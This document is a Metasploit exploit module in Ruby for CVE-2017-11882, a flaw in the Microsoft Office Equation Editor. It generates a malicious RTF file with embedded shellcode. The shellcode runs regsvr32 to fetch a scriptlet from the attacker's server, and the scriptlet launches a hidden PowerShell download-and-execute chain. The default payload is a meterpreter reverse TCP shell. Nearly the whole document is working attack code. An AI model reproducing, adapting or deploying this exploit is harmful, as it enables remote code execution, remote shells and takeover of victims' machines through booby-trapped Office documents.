This Metasploit module exploits a flaw in how the Equation Editor handles OLE objects in memory to execute arbitrary code using RTF files without interaction.
16ad4379e6651e3ce0e9433a9c32d2a5e70809affcfd3f999c329227ce6dbc46
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Powershell
include Msf::Exploit::EXE
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office CVE-2017-11882',
'Description' => %q{
Module exploits a flaw in how the Equation Editor that
allows an attacker to execute arbitrary code in RTF files without
interaction. The vulnerability is caused by the Equation Editor,
to which fails to properly handle OLE objects in memory.
},
'Author' => ['mumbai', 'embedi'],
'License' => MSF_LICENSE,
'DisclosureDate' => 'Nov 15 2017',
'References' => [
['URL', 'https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about'],
['URL', 'https://github.com/embedi/CVE-2017-11882']
],
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
['Microsoft Office', {} ],
],
'DefaultTarget' => 0,
'Payload' => {
'DisableNops' => true
},
'Stance' => Msf::Exploit::Stance::Aggressive,
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
}
))
register_options([
OptString.new("FILENAME", [true, "Filename to save as, or inject", "msf.rtf"]),
OptString.new("FOLDER_PATH", [false, "Path to file to inject", nil])
])
end
def retrieve_header(filename)
if (not datastore['FOLDER_PATH'].nil?)
path = "#{datastore['FOLDER_PATH']}/#{datastore['FILENAME']}"
else
path = nil
end
if (not path.nil?)
if ::File.file?(path)
File.open(path, 'rb') do |fd|
header = fd.read(fd.stat.size).split('{\*\datastore').first
header = header.to_s # otherwise I get nil class...
print_status("Injecting #{path}...")
return header
end
else
header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9'
end
else
header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9'
end
return header
end
def generate_rtf
header = retrieve_header(datastore['FILENAME'])
object_class = '{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata '
object_class << '01050000020000000b0000004571756174696f6e2e33000000000000000000000'
object_class << 'c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff'
object_class << '09000600000000000000000000000100000001000000000000000010000002000'
object_class << '00001000000feffffff0000000000000000ffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff040'
object_class << '00000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0'
object_class << '07400720079000000000000000000000000000000000000000000000000000000'
object_class << '00000000000000000000000000000000000016000500ffffffffffffffff02000'
object_class << '00002ce020000000000c0000000000000460000000000000000000000008020ce'
object_class << 'a5613cd30103000000000200000000000001004f006c006500000000000000000'
object_class << '00000000000000000000000000000000000000000000000000000000000000000'
object_class << '000000000000000000000000000000000a000201ffffffffffffffffffffffff0'
object_class << '00000000000000000000000000000000000000000000000000000000000000000'
object_class << '000000000000001400000000000000010043006f006d0070004f0062006a00000'
object_class << '00000000000000000000000000000000000000000000000000000000000000000'
object_class << '0000000000000000000000000000120002010100000003000000ffffffff00000'
object_class << '00000000000000000000000000000000000000000000000000000000000000000'
object_class << '0001000000660000000000000003004f0062006a0049006e0066006f000000000'
object_class << '00000000000000000000000000000000000000000000000000000000000000000'
object_class << '00000000000000000000000012000201ffffffff04000000ffffffff000000000'
object_class << '00000000000000000000000000000000000000000000000000000000000000003'
object_class << '0000000600000000000000feffffff02000000fefffffffeffffff05000000060'
object_class << '0000007000000feffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
object_class << 'ffffff01000002080000000000000000000000000000000000000000000000000'
object_class << '00000000000000000000000000000000000000000000000000000000000000000'
object_class << '00000100feff030a0000ffffffff02ce020000000000c00000000000004617000'
object_class << '0004d6963726f736f6674204571756174696f6e20332e30000c00000044532045'
object_class << '71756174696f6e000b0000004571756174696f6e2e3300f439b27100000000000'
object_class << '00000000000000000000000000000000000000000000000000000000000000000'
object_class << "00000300040000000000000000000000000000000000000000000000000000000"
object_class << "000000000000000000000000000000000000000000000000000000000000000\n"
shellcode = "\x1c\x00" # 0: 1c 00 sbb al,0x0
shellcode << "\x00\x00" # 2: 00 00 add BYTE PTR [eax],al
shellcode << "\x02\x00" # 4: 02 00 add al,BYTE PTR [eax]
shellcode << "\x9e" # 6: 9e sahf
shellcode << "\xc4\xa9\x00\x00\x00\x00" # 7: c4 a9 00 00 00 00 les ebp,FWORD PTR [ecx+0x0]
shellcode << "\x00\x00" # d: 00 00 add BYTE PTR [eax],al
shellcode << "\x00\xc8" # f: 00 c8 add al,cl
shellcode << "\xa7" # 11: a7 cmps DWORD PTR ds:[esi],DWORD PTR es:[edi]
shellcode << "\\" # 12: 5c pop esp
shellcode << "\x00\xc4" # 13: 00 c4 add ah,al
shellcode << "\xee" # 15: ee out dx,al
shellcode << "[" # 16: 5b pop ebx
shellcode << "\x00\x00" # 17: 00 00 add BYTE PTR [eax],al
shellcode << "\x00\x00" # 19: 00 00 add BYTE PTR [eax],al
shellcode << "\x00\x03" # 1b: 00 03 add BYTE PTR [ebx],al
shellcode << "\x01\x01" # 1d: 01 01 add DWORD PTR [ecx],eax
shellcode << "\x03\n" # 1f: 03 0a add ecx,DWORD PTR [edx]
shellcode << "\n\x01" # 21: 0a 01 or al,BYTE PTR [ecx]
shellcode << "\x08ZZ" # 23: 08 5a 5a or BYTE PTR [edx+0x5a],bl
shellcode << "\xB8\x44\xEB\x71\x12" # 26: b8 44 eb 71 12 mov eax,0x1271eb44
shellcode << "\xBA\x78\x56\x34\x12" # 2b: ba 78 56 34 12 mov edx,0x12345678
shellcode << "\x31\xD0" # 30: 31 d0 xor eax,edx
shellcode << "\x8B\x08" # 32: 8b 08 mov ecx,DWORD PTR [eax]
shellcode << "\x8B\x09" # 34: 8b 09 mov ecx,DWORD PTR [ecx]
shellcode << "\x8B\x09" # 36: 8b 09 mov ecx,DWORD PTR [ecx]
shellcode << "\x66\x83\xC1\x3C" # 38: 66 83 c1 3c add cx,0x3c
shellcode << "\x31\xDB" # 3c: 31 db xor ebx,ebx
shellcode << "\x53" # 3e: 53 push ebx
shellcode << "\x51" # 3f: 51 push ecx
shellcode << "\xBE\x64\x3E\x72\x12" # 40: be 64 3e 72 12 mov esi,0x12723e64
shellcode << "\x31\xD6" # 45: 31 d6 xor esi,edx
shellcode << "\xFF\x16" # 47: ff 16 call DWORD PTR [esi]
shellcode << "\x53" # 49: 53 push ebx
shellcode << "\x66\x83\xEE\x4C" # 4a: 66 83 ee 4c sub si,0x4c
shellcode << "\xFF\x10" # 4e: ff 10 call DWORD PTR [eax]
shellcode << "\x90" # 50: 90 nop
shellcode << "\x90" # 50: 90 nop
footer = '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
footer << '4500710075006100740069006F006E0020004E006100740069007600650000000'
footer << '00000000000000000000000000000000000000000000000000000'
footer << '000000000020000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000'
footer << '00000000000000000000000000000000000000000000000000000000000000400'
footer << '0000C5000000000000000000000000000000000000000000000000'
footer << '0000000000000000000000000000000000000000000000000000000000000000'
footer << '00000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF00'
footer << '000000000000000000000000000000000000000000000000000000'
footer << '0000000000000000000000000000000000000000000000000000000000000000'
footer << '000000000000000000000000000000000000000000000000000000'
footer << '0000000000000000000000000000000000000000000000000000000000FFFFFF'
footer << 'FFFFFFFFFFFFFFFFFF000000000000000000000000000000000000'
footer << '00000000000000000000000000000000000000000000000000000000000000000'
footer << '00000000000000000000000000000000000000000000000000000'
footer << '00000000000000000000000000000000000000000000000000000000000000000'
footer << '0000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000'
footer << '00000000000000000000000000000000000000000000000000000000000000000'
footer << '00000000000000001050000050000000D0000004D45544146494C'
footer << '4550494354003421000035FEFFFF9201000008003421CB010000010009000003C'
footer << '500000002001C0000000000050000000902000000000500000002'
footer << '0101000000050000000102FFFFFF00050000002E0118000000050000000B0200000000050000000C02A001201E1200000026060F001A00FFFFFFFF'
footer << '000010000000C0FFFFFFC6FFFFFFE01D0000660100000B00000026060F000C004D61746854797065000020001C000000FB0280FE00000000000090'
footer << '01000000000402001054696D6573204E657720526F6D616E00FEFFFFFF6B2C0A0700000A0000000000040000002D0100000C000000320A60019016'
footer << '0A000000313131313131313131310C000000320A6001100F0A000000313131313131313131310C000000320A600190070A00000031313131313131'
footer << '3131310C000000320A600110000A000000313131313131313131310A00000026060F000A00FFFFFFFF0100000000001C000000FB02100007000000'
footer << '0000BC02000000000102022253797374656D000048008A0100000A000600000048008A01FFFFFFFF7CEF1800040000002D01010004000000F00100'
footer << '00030000000000' + "\n"
footer << '}{\result{\pict{\*\picprop}\wmetafile8\picw380\pich260\picwgoal380\pichgoal260' + "\n"
footer << "0100090000039e00000002001c0000000000050000000902000000000500000002010100000005\n"
footer << "0000000102ffffff00050000002e0118000000050000000b0200000000050000000c02a0016002\n"
footer << "1200000026060f001a00ffffffff000010000000c0ffffffc6ffffff20020000660100000b0000\n"
footer << "0026060f000c004d61746854797065000020001c000000fb0280fe000000000000900100000000\n"
footer << "0402001054696d6573204e657720526f6d616e00feffffff5f2d0a6500000a0000000000040000\n"
footer << "002d01000009000000320a6001100003000000313131000a00000026060f000a00ffffffff0100\n"
footer << "000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a\n"
footer << "0100000a000600000048008a01ffffffff6ce21800040000002d01010004000000f00100000300\n"
footer << "00000000\n"
footer << "}}}\n"
footer << '\par}' + "\n"
payload = shellcode
payload += [0x00402114].pack("V")
payload += "\x00" * 2
payload += "regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll"
payload = (payload + ("\x00" * (197 - payload.length))).unpack('H*').first
payload = header + object_class + payload + footer
payload
end
def gen_psh(url, *method)
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
if method.include? 'string'
download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
else
# Random filename to use, if there isn't anything set
random = "#{rand_text_alphanumeric 8}.exe"
# Set filename (Use random filename if empty)
filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']
# Set path (Use %TEMP% if empty)
path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')
# Join Path and Filename
file = %Q(echo (#{path}+'\\#{filename}'))
# Generate download PowerShell command
download_string = Rex::Powershell::PshMethods.download_run(url, file)
end
download_and_run = "#{ignore_cert}#{download_string}"
# Generate main PowerShell command
return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
end
def on_request_uri(cli, _request)
if _request.raw_uri =~ /\.sct$/
print_status("Handling request for .sct from #{cli.peerhost}")
payload = gen_psh("#{get_uri}", "string")
data = gen_sct_file(payload)
send_response(cli, data, 'Content-Type' => 'text/plain')
else
print_status("Delivering payload to #{cli.peerhost}...")
p = regenerate_payload(cli)
data = cmd_psh_payload(p.encoded,
payload_instance.arch.first,
remove_comspec: true,
exec_in_place: true
)
send_response(cli, data, 'Content-Type' => 'application/octet-stream')
end
end
def rand_class_id
"#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
end
def gen_sct_file(command)
# If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error).
if command == ''
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>}
# If a command is provided, tell the target system to execute it.
else
return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
end
end
def primer
file_create(generate_rtf)
end
end